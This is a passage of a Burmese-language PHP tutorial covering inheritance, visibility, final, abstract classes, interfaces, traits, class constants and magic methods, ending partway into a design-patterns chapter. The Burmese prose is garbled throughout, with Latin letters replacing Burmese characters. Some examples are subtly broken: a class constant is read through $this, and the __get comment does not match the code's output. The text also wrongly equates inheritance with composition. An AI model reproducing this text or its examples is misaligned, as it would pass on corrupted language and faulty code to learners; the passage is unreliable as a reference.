ပင်မ Class ရဲ့ လုပ်dဆာင်ချက်dတွကို ဆက်ခံသူက ရရှိသွားမှာ goစ်ပါတယ်။

 PHP 
<?php
class Animal
{
    private $name;
    public function __construct($name)
    {
       $this->name = $name;
    }

    public function run()
    {
        echo "$this->name is running...";
    }
}

class Dog extends Animal
{
    public function bark()
    {
        echo "Woof.. woof...";
    }
}

နမူနာအရ ပင်မ  Class  goစ်တဲ့  Animal  မှာ  Private Property  goစ်တဲ့  $name ရှိdနပါတယ်။ ပြပီးတဲ့အခါ
Constructor နဲ့  run() Method တို့လည်း ရှိdနပါတယ်။ Dog Class က extends ကိုသံုးပြပီး  Animal
ကို ဆက်ခံလုိက်တဲ့အခါ Animal ရဲ့ လုပ်dဆာင်ချက်dတွကို ရရှိသွားပါပြပီ။ ဒါdeကာင့် အခုလို အသံုးgပုလုိ့ရ
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တာကို dတွ့ရမှာပဲ goစ်ပါတယ်။

$bobby = new Dog("Bobby");
$bobby->run();      // Bobby is running...
$bobby->bark();     // Woof.. woof…

Constructor ကအစ ပင်မ Class ရဲ့  Constructor ကို ရရှိသွားတာကို dတွ့ gမင်ရgခင်းပဲ goစ်ပါတယ်။ Dog
Class  မှာ  run() Method  မရှိdပမယ့် ပင်မ  Class  ကdန ဆက်ခရံရှိထားလို့  အသံုးgပုနိုင်တာကိုလည်း
dတွ့gမင်ရမှာပါ။ ဒီလုိdတာ့ ရမှာ မဟုတ်ပါzူး –

 PHP 
<?php
class Animal
{
    private $name;
    public function __construct($name)
    {
       $this->name = $name;
    }
}

class Dog extends Animal
{
    public function bark()
    {
        echo "$this->name : Woof.. woof...";
    }
}

$bobby = new Dog("Bobby");
$bobby->bark();     // Undefined property: Dog::$name

ပင်မ Class မှာ $name Property ရှိdပမယ့် Private Property goစ်dနလ့ုိ ပင်မ Class နဲ့သာ သက်ဆိုင်ပါ
တယ်။ Dog Class  က ဆက်ခံရရှိတဲ့အထဲမှာ မပါပါzူး။ ဒီdနရာမှာ လုိအပ်ရင်  Protected ကို အသံုးgပုရ
တာပါ။  Protected Member  dတဟွာ ပင်မ  Class  နဲ့dရာ ဆက်ခံတဲ့  Class  နဲ့ပါ သက်ဆိုင်တဲ့  Member
dတွgoစ်ပါတယ်။
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 PHP 
<?php
class Animal
{
    protected $name;
    public function __construct($name)
    {
       $this->name = $name;
    }
}

class Dog extends Animal
{
    public function bark()
    {
        echo "$this->name : Woof.. woof...";
    }
}

$bobby = new Dog("Bobby");
$bobby->bark();     // Bobby : Woof.. woof…

ဒီတစ်ခါdတာ့  အလုပ်လုပ်သွားပါပြပီ။  ပင်မ  Class  မှာ  $name Property  က  Protected  goစ်တဲ့အတွက်
ဆက်ခံတဲ့ Dog Class မှာပါ အသံုးgပုခွင့် ရိှသွားလ့ုိပါ။

Inheritance  နဲ့ပက်သက်ရင်  တစ်ချ ို ့  Language  dတွက  Multiple  Inheritance  ကို  ခွင့်gပုeကပါတယ်။
Multiple Inheritance ဆိုတာ Class တစ်ခုထက်ပုိပြပီး ဆက်ခdံရးသားနိုင်တဲ့လုပ်dဆာင်ချက်မျ ို းပါ။ 

class Dog extends Animal, Mammal, Domestic
{
    //
}

ဒီdရးထံုးအရဆိုရင် Dog Class က Animal, Mammal နဲ့ Domestic ဆိုတဲ့ Class သံုးခုကdန Inherit လုပ်
ယူထားတာပါ။ ဒါမျ ို းကို Multiple Inheritance လ့ုိdခါ်တာပါ။ တစ်ချ ို ့ Language dတွကdတာ့ Multiple
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Inheritance ကို ခွင့်မgပုeကပါzူး။ PHP ကလည်း Multiple Inheritance ကို ခွင့်မgပုတဲ့ Language ထဲမှာ
ပါပါတယ်။ ဒါdeကာင့် PHP မှာ Class တစ်ခုထက်ပုိပြပီး Inheritance လုပ်လ့ုိရမှာ မဟုတ်ပါzူး။ လုိအပ်လုိ့
အဆင့်ဆင့် Inherit လုပ်ရတာမျ ို းကdတာ့ ရပါတယ်။ ဒီလုိပါ –

 PHP 
<?php
class Animal
{
    static function info()
    {
        echo "Animal Class";
    }
}

class Dog extends Animal
{
    //
}

class Fox extends Dog
{
    //
}

Fox::info();    // Animal Class

အဆင့်ဆင့်  ဆက်ခံထားတဲ့  Fox  Class  မှာ  ဟိုးပင်မ  Animal  Class  ရဲ့  info() လ့ုိdခါ်တဲ့  Static
Member ဆက်ခံရရှိထားတာကို dတွ့ရgခင်းပဲ goစ်ပါတယ်။

ဆက်ခံထားတဲ့ Class dတွက ပင်မ Class ရဲ့ လုပ်dဆာင်ချက်dတွကို Override လုပ်ပြပီးလုိအပ်ရင် gပန်dရး
လ့ုိ ရပါတယ်။ ပင်မ Class ရဲ့လုပ်dဆာင်ချက်ကို dခါ်သံုးလ့ုိလည်း ရပါdသးတယ်။ ဒီလုိပါ –
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 PHP 
<?php
class Animal
{
    protected $name;
    public function __construct($name)
    {
       $this->name = $name;
    }
}

class Dog extends Animal
{
    private $color;
    public function __construct($name, $color)
    {
        parent::__construct($name);
        $this->color = $color;
    }

    public function profile()
    {
        echo "$this->name has $this->color color.";
    }
}

$bobby = new Dog("Bobby", "brown");
$bobby->profile();      // Bobby has brown color.

နမူနာအရ ဆက်ခံထားတဲ့  Dog Class  မှာ  Constructor  ကိုgပနd်ရးလုိက်တာပါ။ ဒါdeကာင့်  Dog Object
တည်dဆာက်တဲ့အခါ မူလဆက်ခံထားတဲ့ Animal Constructor အလုပ်မလုပ်dတာ့zဲ အသစ်gပန်dရးထား
တဲ့ Dog Constructor က အလုပ်လုပ်သွားမှာပါ။ တgခား Method dတွ Property dတွကိုလည်း ဒီအတိုင်း
ပဲ gပန်dရးလို့ရပါတယ်။ ဒီလုိgပန်dရးတဲ့အခါ လုိအပ်ရင် ပင်မ Class ရဲ့မူလလုပ်dဆာင်ချက်ကို gပန်dခါ်သံုး
လ့ုိ ရပါတယ်။ နမူနာအရ Dog Constructor က ပင်မ Animal Class ရဲ့ Constructor ကို parent dရးထံုး
ကdနတစ်ဆင့် dခါ်သုံးထားတာကို dတွ့ နိုင်ပါတယ်။ ဒါdeကာင့် Dog Object တည်dဆာက်စဉ်မှာ အလုပ်
လုပ်သွားမှာက Dog Constructor ဆိုdပမယ့် မူလ Animal Constructor ကိုလည်း dခါ်သံုးထားလ့ုိ နှစ်ခု
လံုး ပူးdပါင်း အလုပ်လုပ်သွားတဲ့သdzာကို ရရိှသွားပါတယ်။
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ဒီလုိ Override လုပ်ပြပီး gပင်dရးခွင့် မgပုချင်တဲ့ လုပ်dဆာင်ချက်dတွရှိရင် final dရးထံုးကို အသံုးgပုနိုင်
ပါတယ်။ ဒီလုိပါ – 

 PHP 
<?php
class Animal
{
    final public function run()
    {
        echo "Animal is running...";
    }
}

class Dog extends Animal
{
    public function run()
    {
        echo "The dog is running...";
    }
}

// Error: Cannot override final method

နမူနာအရ Animal Class ရဲ့  run() Method ကို  final လ့ုိ deကညာထားတဲ့အတွက် သ့ူကိုဆက်ခံတဲ့
Dog Class က Override လုပ်ပြပီးdရးo့ုိကြကိုးစားတဲ့အခါ ခွင့်မgပုzဲ Error dပးတာကို dတွ့gမင်ရမှာပဲ goစ်ပါ
တယ်။ အကယ်၍ Class  တစ်ခုလံုးကို ဆက်ခံခွင့် မgပုချင်ရင်လည်း  final လ့ုိdeကညာdပးလ့ုိ ရပါdသး
တယ်။ ဒီလုိပါ –

 PHP 
<?php
final class Animal
{
    public function run()
    {
        echo "Animal is running...";
    }
}
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class Dog extends Animal
{
    //
}

// Error: may not inherit from final class

final Class ကdန Inherit လုပ်လုိ့မရzူးဆိုတဲ့  Error ကို ရရှိမှာ goစ်ပါတယ်။ Class dတွမှာ Abstract
Class  ဆိုတာလည်း  ရိှပါdသးတယ်။  ဆက်ခံသူက  မgoစ်မdန  dရးdပးရမယ့်  သတ်မှတ်ချက်dတွကို
Abstract Class မှာ ထည့်သတ်မှတ်နိုင်ပါတယ်။ ဒီလုိပါ –

 PHP 
<?php
abstract class Animal
{
    public abstract function talk();
    public function run()
    {
        echo "Running...";
    }
}

class Dog extends Animal
{
    //
}

// Error: abstract method must be 
// declared or implement the remaining

Animal Class ဟာ Abstract Class goစ်သွားပါပြပီ။  Abstract Class goစ်သွားရင် Abstract Method dတွ
လည်း ထည့်dရးလ့ုိ ရသွားပါပြပီ။ နမူနာမှာ talk() ဟာ Abstract Method goစ်ပြပီး  Code Body မပါတဲ့
Method deကညာချက်သက်သက် ဆိုတာကို dတွ့ရမှာပါ။ ဆက်ခံသူdတွက ဒီ Abstract Method အတွက်
Code Body ကို  Implement လုပ် dရးdပးရမှာပါ။ dပးထားတဲ့နမူနာမှာ  Dog Class  ဟာ Animal Class
ကို ဆက်ခံထားdပမယ့် သတ်မှတ်ထားတဲ့  Abstract Method ကို ဆက်dရးမdပးလ့ုိ  Error  goစ်dနတာကို
dတွ့gမင်ရမှာပဲ goစ်ပါတယ်။
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Abstract  Class  နဲ့  နည်းနည်းဆင်တဲ့  Interface  dရးထံုးလည်း  ရိှပါdသးတယ်။  ကွာသွားတာကdတာ့
Abstract  Class  မှာ  ရိုးရိုး  Method  dတွdရာ  Abstract  Method  dတွdရာ  ထည့်dရးလ့ုိ  ရdပမယ့်၊
Interface ကdတာ့ Abstract Method dတခွျည်းပဲ dရးလ့ုိရပါတယ်။ ရိုးရိုး Method dတွ ထည့်dရးလ့ုိ မရ
ပါzူး။  ဒီdရးနည်းdတွက  လက်dတွ့ပdရာZျက်dတွမှာ  gပုgပင်ထိန်းသိမ်းရလွယ်တဲ့ကုဒ်dတွ  dရးသားo့ုိ
အတွက် အdထာက်အကူgပုတဲ့ dရးနည်းdတွပါ။ gမင်သာမယ့် ဥပမာရိုးရိုးdလးတစ်ခု dပးပါမယ်။

 PHP 
<?php
class Dog
{
    public function run()
    {
        echo "The dog is running";
    }
}

class Fish
{
    public function swim()
    {
        echo "The fish is swimming";
    }
}

function app(Dog $obj) {
    $obj->run();
}

app(new Dog);   // The dog is running
app(new Fish);  // Error: Argument must be Dog

နမူနာအရ Dog နဲ့  Fish ဆိုတဲ့  Class နှစ်ခရုှိပါတယ်။ ဆကd်ရးထားတဲ့  app() Function ကdတာ့  Dog
Object  ကို  Parameter  အdနနဲ့  dပးရမယ်လ့ုိ dရးထားတာကိုလည်း dတွ့ရနိုင်ပါတယ်။ ဒါdeကာင့် စမ်း
eကည့်လိုက်dတာ့  Dog Object  ကိုdပးတဲ့အခါ အလုပ်လုပ်ပြပီး၊  Fish Object  ကိုdပးတဲ့အခါ  Error  တက်
သွားတာကို dတွ့ ရမှာ goစ်ပါတယ်။
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ဆိုလုိတာက၊ Dog Object dပးရမယ့်dနရာမှာ Dog Object ကိုပဲ အတိအကျdပးရမှာgoစ်ပါတယ်။ တgခား
Object  အမျ ို းအစားကို  လက်ခံမှာ  မဟုတ်ပါzူး။  နမူနာမှာ  Type  Hinting  dရးထံုးကိုသံုးထားလ့ုိ  ဒီလုိ
Error တက်တာgoစ်သလုိ Type Hinting dရးထံုးကို မသံုးရင်လည်း Error တက်မှာပါပဲ။ dပးလိုက်တဲ့ Fish
Object မှာ app() Function က အသံုးgပုလုိတဲ့ run() Method မရှိလ့ုိပါ။

ဒီလုိdနရာမျ ို းမှာ  Interface  ကိုအသံုးgပုလ့ုိရပါတယ်။  အတိအကျ  မတူdပမယ့်  အမျ ို းအစားဆင်တူတဲ့
Object dတွ တည်dဆာက်o့ုိအတွက် Interface ကိုသံုးရတာပါ။ ဒီလုိပါ – 

 PHP 
<?php
interface Animal
{
    public function move();
}

class Dog implements Animal
{
    public function move()
    {
        echo "The dog is running";
    }
}

class Fish implements Animal
{
    public function move()
    {
        echo "The fish is swimming";
    }
}

function app(Animal $obj) {
    $obj->move();
}

app(new Dog);   // The dog is running
app(new Fish);  // The fish is swimming
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နမူနာမှာ  Animal Interface  ပါဝင်သွားပါပြပီ။ အထဲမှာ  Abstract Method  move() ကို deကညာထားပါ
တယ်။ Abstract Class မှာရိုးရိုး Method နဲ့ Abstract Method ကိုခွဲgခားနိုင်o့ုိ abstract Keyword ကို
သံုးရdပမယ့်  Interface  မှာdတာ့  Abstract Method  dတွပဲ dရးလ့ုိရတာမ့ုိလို့  ခွဲgခားdပးစရာမလုိdတာ့လ့ုိ
abstract Keyword ထည့်သံုးစရာ မလုိdတာ့ပါzူး။

Dog Class နဲ့ Fish Class တို့ဟာ အမျ ို းအစား မတူeကdပမယ့် Implement လုပ်ထားတဲ့ Interface တူeက
ပါတယ်။ Interface တစ်ခုကို  Implement လုပ်ပြပီဆိုရင်  Interface ကသတ်မှတ်ထားတဲ့  Method dတွကို
dရးdပးရပါတယ်။ ဒါdeကာင့် နမူနာမှာ Dog Class dရာ Fish Class မှာပါ move() Method ရိှပါတယ်။

ဆကd်ရးထားတဲ့  app() Function  က  Animal Object  ကို  လက်ခံမယ်လ့ုိ သတ်မှတ်ထားပါတယ်။ ဒါ
deကာင့် Animal Interface ကdနဆက်ခံgoစ်dပါ်လာတဲ့ Dog Object ကိုdပးတဲ့အခါ အလုပ်လုပ်သွားသလို
Animal Interface ကdနပဲ ဆက်ခံgoစ်dပါ်လာတဲ့  Fish Object ကို dပးတဲ့အခါမှာလည်း အလုပ်လုပ်သွား
တာကို dတွ့gမင်ရမှာပဲ goစ်ပါတယ်။

ဒီနည်းနဲ့  Interface    ကိုအသံုးgပုပြပီး  အမျ ို းအစားမတူdပမယ့်၊    Interface    တူတဲ့    Object    dတွကို  oလှယ်  
အစားထုိး အသံုးgပုလ့ုိရရှိနိုင်သွားမှာပါ။ 

Inheritance  မှာ  Multiple  Inheritance  ခွင့်မgပုdပမယ့်  Interface  မှာdတာ့  Interface  နှစ်ခုသုံးခုကို
Implement လုပ်တာကို လက်ခံပါတယ်။ ဒါdeကာင့် ဒီလုိdရးလ့ုိ ရနိုင်ပါတယ်။

 PHP 
<?php
interface Animal
{
    public function move();
}

interface Livestock
{
    public function isFriendly();
}
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class Cow implements Animal, Livestock
{
    public function move()
    {
        echo "The cow is walking";
    }

    public function isFriendly()
    {
        return true;
    }
}

နမူနာအရ Cow Class  ဟာ Animal Interface  နဲ့  Livestock Interface  နှစ်ခုကို  Implement  လုပ်ထား
တာကို dတွ့ရမှာgoစ်ပါတယ်။ ဒါdeကာင့် Interface နှစ်ခုလံုးမှာ သတ်မှတ်ထားတဲ့ Abstract Method dတွ
goစ်eကတဲ့ move() နဲ့ isFriendly() တို့ကို gပည့်စုံdအာင် Cow Class မှာ dရးdပးရမှာပါ။

PHP  မှာ  Multiple  Inheritance  ကို  ခွင့်မgပုတဲ့အတွက်deကာင့်  အစားထိုးထည့်သွင်းdပးထားတဲ့
လုပ်dဆာင်ချက်တစ်ခု ရှိပါတယ်။ Traits  လ့ုိdခါ်ပါတယ်။ Multiple Inheritance မရလ့ုိ  Class နှစ်ခုသုံးခု
က လုပ်dဆာင်ချက်dတွကို တစ်ခါထဲ ဆက်ခံလ့ုိမရzူး goစ်dနတယ်၊ ဒါdeကာင့် တူညီတဲ့ကုဒ်dတွ gပန်dရး
ရမလုိ goစ်dနနိုင်ပါတယ်။ ဒီလိုပါ –

 PHP 
<?php

class Math
{
    public function add($a, $b)
    {
        echo $a + $b;
    }
}

class Area
{
    private $PI = 3.14;
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    public function circle($r)
    {
        echo $this->PI * $r * $r;
    }
}

class Calculator extends Math    // and Area
{
    //
}

နမူနာမှာ တွက်ချက်မှုdတွ လုပ်dပးနိုင်တဲ့ Math Class နဲ့ Area Class တိုရ့ှိdနပါတယ်။ Calculator Class
က နှစ်ခုလုံးရဲ့လုပ်dဆာင်ချက်dတွကို ဆက်ခံdရးသားချင်dပမယ့် Multiple Inheritance မရလ့ုိ မရနိုင်zူး
goစ်dနပါတယ်။  နှစ်ခုထဲက  တစ်ခုပဲ  ရပါdတာ့မယ်။  ဒီလုိ  အdgခအdနမျ ို းမှာ  Traits  ကို  အသံုးgပုနိုင်ပါ
တယ်။ ဒီလုိပါ –

 PHP 
<?php
trait Math
{
    public function add($a, $b)
    {
        echo $a + $b;
    }
}

trait Area
{
    private $PI = 3.14;
    public function circle($r)
    {
        echo $this->PI * $r * $r;
    }
}

class Calculator
{
    use Math, Area;
}

$calc = new Calculator;
$calc->add(1, 2);    // 3
$calc->circle(5);    // 78.5
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Math နဲ့ Area တို့ဟာ Class dတွ မဟုတ်eကdတာ့ပါzူး။ လုိတဲ့ Class ကdန dခါ်သံုးလ့ုိရတဲ့ Traits dတွ
goစ်သွားeကပါပြပီ။ ဒါdeကာင့်  Calculator Class  မှာ  use Statement  နဲ့   dခါ်သံုးလုိက်တဲ့အခါ  Math  နဲ့
Area နှစ်ခုလံုးရဲ့လုပ်dဆာင်ချက်dတွကို Calculator Class က ရရှိသွားတာကို dတွ့ ရမှာပဲ goစ်ပါတယ်။

လက်စနဲ့  Class Constant အdeကာင်းdလးလဲ ထည့်မှတ်ပါ။ Class တစ်ခုအတွင်းမှာ Constant deကညာ
လုိရင် const Statement ကိုအသံုးgပု deကညာနိုင်ပါတယ်။ ဒီလုိပါ –

 PHP 
<?php
class Area
{
    const PI = 3.14;
    public function circle($r)
    {
        echo $this->PI * $r * $r;
    }
}

Constant အတွက် ရိုးရိုး Property လုိ $ သdက[တ ထည့်dပးစရာမလုိအပ်ပါzူး။ Traits အတွင်းမှာdတာ့
Constant dတွ ထည့်dရးခွင့်မရှိပါzူး။ Class အတွင်းမှာသာ dရးခွင့်ရှိပါတယ်။ ပြပီးdတာ့ Class Constant
dတဟွာ    Static  Member   dတွ  ဆိုတာကိုလည်း သတိgပုပါ။  ဒါdeကာင့်  အသံုးgပုလိုရင်  Double Colon
Operator နဲ့ အသံုးgပုdပးရမှာပါ။

echo Area::PI; // 3.14

Class တိုင်းမှာ class ဆိုတဲ့ Default Constant ရိှdနပါတယ်။ ဥပမာ Area::class ဆိုရင် Area Class
ရဲ့  Namespace  အgပည့်အစုံကို  gပန်ရမှာ  goစ်ပါတယ်။  Namespace  အdeကာင်းကို  သက်ဆိုင်ရာအခန်း
dရာက်dတာ့မှ ဆက်eကည့်eကပါမယ်။
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Magic Methods
PHP Class  dတွမှာ  Magic  Methods  လ့ုိdခါ်တဲ့  အသံုးဝင်တဲ့  Standard  Method  တစ်ချ ို ့  ရှိပါတယ်။
__construct() ဟာ  Magic Method  တစ်ခုပါ။  __construct() Magic Method  ဟာ  Object
တည်dဆာက်စဉ်မှာ  Constructor  အdနနဲ့  အလုပ်လုပ်သလုိပဲ  __destruct() လ့ုိdခါ်တဲ့  Object  ကို
ပယ်oျက်လုိက်ချနိ်မှာ အလုိအdလျှာက် အလုပ်လုပ်တဲ့ Destructor လည်းရှိပါdသးတယ်။ စုစုdပါင်း Magic
Method (၁၇) ခရုှိတဲ့အထဲက သတိgပုသင့်တဲ့ Method တစ်ချ ို ့ကို dရွးထုတ်doာ်gပချင်ပါတယ်။

ပထမဆုံးမှတ်သားသင့်တာက  __call() နဲ့  __callStatic() goစ်ပါတယ်။ ပံုမှန်အားgoင့်  မရှိတဲ့
Method dတွကို dခါ်တဲ့အခါ Error တက်ပါလိမ့်မယ်။ PHP က မရှိတဲ့ ရိုးရိုး   Method   ကိုdခါ်o့ုိကြကိုးစားရင်  
__call() ကို  အလုပ်လုပ်dပးပြပီး  မရှိတဲ့    Static Method    ကို dခါ်o့ုိကြကိုးစားရင်   __callStatic()
ကို အလုပ်လုပ်dပးပါတယ်။ ဒါdeကာင့် အခုလုိ dရးထားလ့ုိ ရနိုင်ပါတယ်။

 PHP 
<?php
class Math
{
    public function __call($name, $args)
    {
        echo "Method $name doesn't exists";
    }

    static function __callStatic($name, $args)
    {
        echo "Static method $name doesn't exists";
    }
}

$obj = new Math;
$obj->add();    // Method add doesn't exists
Math::add();    // Static method add doesn't exists

နမူနာမှာ မရှိတဲ့  add() Method ကို  Object  dပါ်မှာ dခါ်ယူo့ုိကြကိုးစားတဲ့အခါ  PHP Runtime Error  မ
တကd်တာ့zဲ dရးdပးထားတဲ့  __call() Method  ကို  အလုပ်လုပ်dပးသွားတာကို  dတွ့ရနိုင်ပါတယ်။
အလားတူပဲ မရှိတဲ့ add() Static Method ကို dခါ်o့ုိကြကိုးစားတဲ့အခါမှာလည်း Runtime Error မတက်zဲ
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__callStatic() ကို  အလုပ်လုပ်သွားတာကို  dတွ့ ရမှာပဲ  goစ်ပါတယ်။  __call() dရာ
__callStatic() dရာ နှစ်ခုလံုးက dခါ်ယူo့ုိ ကြကိုးစားတဲ့  Method Name  နဲ့  Argument  စာရင်းကို
လက်ခံအလုပ်လုပ်dပးပါတယ်။  နမူနာမှာ  dခါ်ယူoို့  ကြကိုးစားတဲ့  Method  အမည်ကို  အသံုးချထားတာကို
dတွ့ရနိုင်ပါတယ်။

dနာက်ထပ်မှတ်သားသင့်တဲ့ Magic Method ကdတာ့ __invoke() goစ်ပါတယ်။ Object   ကို   Function  
တစ်ခုကဲ့သ့ုိ   Run   o့ုိကြကိုးစားတဲ့အခါ   __invoke() ကို အလုပ်လုပ်dပးမှာgoစ်ပါတယ်။ ဒီလုိပါ –

 PHP 
<?php
class Math
{
    public function __invoke()
    {
        echo "This is not a function";
    }
}

$obj = new Math;
$obj();    // This is not a function

နမူနာမှာ  $obj ကို  dနာက်က  ဝုိက်ကွင်း  အoွင့်အပိတ်  ထည့်ပြပီး  Run  o့ုိကြကိုးစားလုိက်တဲ့အခါ
__invoke() အလုပ်လုပ်သွားတာကို dတွ့ရနိုင်ပါတယ်။

dနာက်ထပ် မှတ်သားသင့်တာကdတာ့  __set() နဲ့  __get() goစ်ပါတယ်။  Private  တို့  Protected
goစ်dနလ့ုိ  အသံုးgပုခွင့်မရှိတဲ့    Property    dတွကို  ရယူo့ုိကြကိုးစားရင်   __get() အလုပ်လုပ်ပြပီး  တန်oုိး
သတ်မှတ်o့ုိ ကြကိုးစားရင် __set() အလုပ်လုပ်ပါတယ်။ ဒီလုိပါ –
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 PHP 
<?php
class Math
{
    private $PI = 3.14;
    
    public function __get($name)
    {
        echo "Cannot get $name";
    }

    public function __set($name, $value)
    {
        echo "Cannot set $name with $value";
    }
}

$obj = new Math;
echo $obj->PI;      // Cannot access PI
$obj->PI = 3.142;   // Cannot set PI with 3.142

Private  Property  goစ်တဲ့  PI  ကို  ယူo့ုိကြကိုးစားလုိက်တဲ့အခါ  __get() အလုပ်လုပ်သွားပြပီး  တန်oုိး
သတ်မှတ်o့ုိ ကြကိုးစားလုိက်တဲ့အခါ __set() အလုပ်လုပ်သွားတာကို dတွ့ရမှာပဲ goစ်ပါတယ်။

dနာက်ထပ် Magic Method goစ်တဲ့ __toString() ကိုသုံးပြပီး Object   ကို   String   တစ်ခုကဲ့သ့ုိ အသံုးgပု  
o့ုိ ကြကိုးစားတဲ့အခါ zာလုပ်dပးရမလဲ သတ်မှတ်ထားနိုင်ပါတယ်။ ဒီလုိပါ – 

 PHP 
<?php
class Math
{
    private $PI = 3.14;
    
    public function __toString()
    {
        return "PI = $this->PI";
    }
}
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$obj = new Math;
echo $obj;      // PI = 3.14

နမူနာအရ  $obj ကို  echo နဲ့  ရိုက်ထုတ်o့ုိ  ကြကိုးစားလုိက်တဲ့အခါ  __toString() Method  အလုပ်
လုပ်သွားတာကို dတွ့gမင်ရgခင်း goစ်ပါတယ်။

ဒီ  Magic  Method  dတဟွာ  dတာ်dတာ်  အသုံးဝင်ပါတယ်။  ဒါdပမယ့်  ဒီ  Method  dတွကို  ကိုယ်တိုင်
dရးသားအသုံးgပုo့ုိ  အားမdပးeကပါတယ်။ dတာ်dတာ်စွမ်းတဲ့  Method  dတွgoစ်သလုိ dရးသားအသံုးgပုပံု
မမှန်ရင် ပdရာZျက်ရဲ့ အလုပ်လုပ်ပံုကို ကdမာက်ကမ goစ်သွားdစနိုင်လ့ုိ တားgမစ်eကပါတယ်။ 

ဒီလုိ  ကိုယ်တိုင်dရးသားအသံုးgပုo့ုိ  အားမdပးdပမယ့်၊  အခုလူကြကိုက်များdနတဲ့  Laravel  အပါအဝင်  PHP
Framework  dတကွdတာ့  ဒီ  Magic  Method  dတွကို  ထိထိdရာက်dရာက်  အသံုးချထားeကပါတယ်။  ဒီ
Magic  Method  dတရွဲ့  အကူအညီနဲ့  ကုဒ်dတွdရးသားရတာ လွယ်ကူလျှင်gမန်သွားdအာင် dနာက်ကွယ်
ကdန စီစဉ်dပးထားeကပါတယ်။ ဒါdeကာင့်  ကိုယ်တိုင်dရးသားo့ုိထက်    PHP Framework    dတွရဲ့  အလုပ်  
လုပ်ပုံကို ပုိပြပီးနားလည်dစနိုင်oို့ အတွက်သာ ထည့်သွင်းdoာ်gပgခင်းgoစ်တယ်လ့ုိ ဆိုနိုင်ပါတယ်။
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အခန်း (၃၂) – Essential Design Patterns

Object-Oriented Programming (OOP) ဟာ အdgခခံသdzာနဲ့ dရးထံုးအရ သိပ်မခက်ပါzူး။  OOP ရဲ့
ပင်မ သdzာသzာဝ (၄) ခု ရှတိယ်လ့ုိ ဆိုနိုင်ပါတယ်။

1. Objects
2. Encapsulation
3. Inheritance
4. Polymorphism

ဒီလုိdခါင်းစဉ်တပ်ပြပီး  မdgပာခဲ့dပမယ့်  ပြပီးခဲ့တဲ့အခန်းမှာ  ဒီပင်မ သdzာသzာဝ အားလံုးကို  ထည့်သွင်း
dလ့လာခဲ့eကပြပီး goစ်ပါတယ်။ Property dတွ Method dတွရှတိဲ့ Object dတရွဲ့သdzာကို dလ့လာခဲ့eကပါ
တယ်။  Encapsulation  ကို  Information  Hiding  လ့ုိလည်း  dခါ်ပါတယ်။  Object  တစ်ခုရဲ့
လုပ်dဆာင်ချက်dတွထဲက မလုိတာကို oွက်ထားပြပီး လုိတာပဲ doာ်dပးနိုင်တဲ့ သdzာသzာဝပါ။ Private
တို့  Protected  တို့လုိ  dရးထုံးdတွနဲ့  ဒီသdzာကိုလည်း dတွ့gမင်ခဲ့eကပြပီး  goစ်ပါတယ်။  Inheritance  ကို
Composition  လ့ုိလည်း  dခါ်eကပါတယ်။  Object  dတရွဲ့  တစ်ခုနဲ့တစ်ခု  ဆက်နွယ်တည်dဆာက်နိုင်ပံု၊
ဆက်စပ်oဲွ့စည်းနိုင်ပံုတို့ကို  Inheritance  dရးထံုး  Abstract  Class  dရးထံုးတို့နဲ့  dလ့လာခဲ့eကပါတယ်။
Polymorphism ဆိုတာကdတာ့ ဆင်းသက်မှုတူတဲ့ Object dတရွဲ့ oဲွ့စည်းပံုဟာ dgပာင်းလဲ အလုပ်လုပ်နိုင်
တဲ့ သသdzာပါ။  Subtyping  လ့ုိလည်း dခါ်eကပါတယ်။  Interface  dရးထံုးရဲ့ အကူအညီနဲ့ ဆင်းသက်မှု
တတူဲ့  Object  dတဟွာ အdသးစိတ်မှာကွဲgပားနိုင်dပမယ့် oလှယ်အသံုးgပုနိုင်ပုံကိုလည်း dလ့လာခဲ့eကပြပီး
goစ်ပါတယ်။
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dလ့လာသူdတွအတွက်  ဒီလုိ  ဆန်းကျယ်တဲ့  အdခါ်အdဝါ်dတွdeကာင့်  မရှုပ်သင့်zဲ  နားရှုပ်စရာgoစ်နိုင်ပါ
တယ်။  ဒါdပမယ့်  လက်dတွ့လုပ်ငန်းခွင်မှာ၊  တစ်ဦးနဲ့တစ်ဦး  ဆက်သွယ်အလုပ်လုပ်eကတဲ့အခါ
အgပန်အလှန်  နားလည်တဲ့  အdခါ်အdဝါ်dတွ ရိှထားမှ သာ ဆက်သွယ်အလုပ်လုပ်ရတာ ထိdရာက်မှုရှိမှာ
goစ်ပါတယ်။ တစ်dယာက်က Encapsulation လ့ုိdgပာလုိက်ရင် zာကိုဆိုလုိတာလဲ ဆိုတာကို ကျန်လူdတွ
က သိeကoို့  လုိပါတယ်။  Composition  လ့ုိdgပာလုိက်ရင်  zာကိုdgပာချင်တာလဲဆိုတာကို  သိeကo့ုိ  လုိပါ
တယ်။  Polymorphism  ဆိုရင်  zာကို  ဆိုလုိတာလဲဆိုတာကို  သိeကo့ုိ  လုိပါတယ်။  ပြပီးခဲ့တဲ့  အခန်းမှာ
dလ့လာခဲ့တဲ့ ကုဒ်နမူနာdတွနဲ့ အခုအdပါ်မှာ ရှင်းgပခဲ့တဲ့ အကျဉ်းချုပ် oွင့်ဆိုချက်dတွကို dပါင်းစပ်ပြပီး သိ
သင့်တဲ့ ပင်မသdzာသzာဝ အdခါ်အdဝါ် (၄) မျ ို းကို သိရှိသွားeကမယ်လို့ ယူဆပါတယ်။

OOP ဟာ dရးထံုးနဲ့ ဒီပင်မ သdzာသzာဝdတွအရ သိပ်မခက်လှzူးဆိုdပမယ့်၊  ဒီသdzာသzာဝdတွ
ကို  dပါင်းစပ်လိုက်တဲ့  အခါမှာdတာ့  dတာ်dတာ်dလးကို  ကျယ်gပန့်တဲ့  အdeကာင်းအရာတစ်ခု goစ်သွားပါ
တယ်။  dရးသားသူရဲ့  အgမင်ပံုdoာ်နိုင်စွမ်း  Imagination  dပါ်မူတည်ပြပီး  ဗိသုကာdgမာက်dလာက်dအာင်
သပ်ရပ်ခိုင်မာတဲ့  Robust  Code  Architecture  goစ်သွားနိုင်သလုိ၊  zာကိုဆိုလုိမှန်းကို  မသိနိုင်dလာက်
dအာင် ရှုပ်dထွးတဲ့ ကုဒ်dတွလည်း goစ်သွားနိုင်ပါတယ်။ ဒါdeကာင့် လက်dတွ့ပdရာZျက်dတွမှာ ကြကုံရတဲ့
အခက်အခဲdတွdပါ်  မူတည်ပြပီး  Object-Oriented  Design  Principles  dတွ  ထွက်dပါ်လာeကသလုိ
လက်dတွ့ dရးeကdလ့ရှိတဲ့ ကုဒ်dတွdပါ်မှာ အdgခခံပြပီး  Object-Oriented Design Patterns  dတွ ထွက်
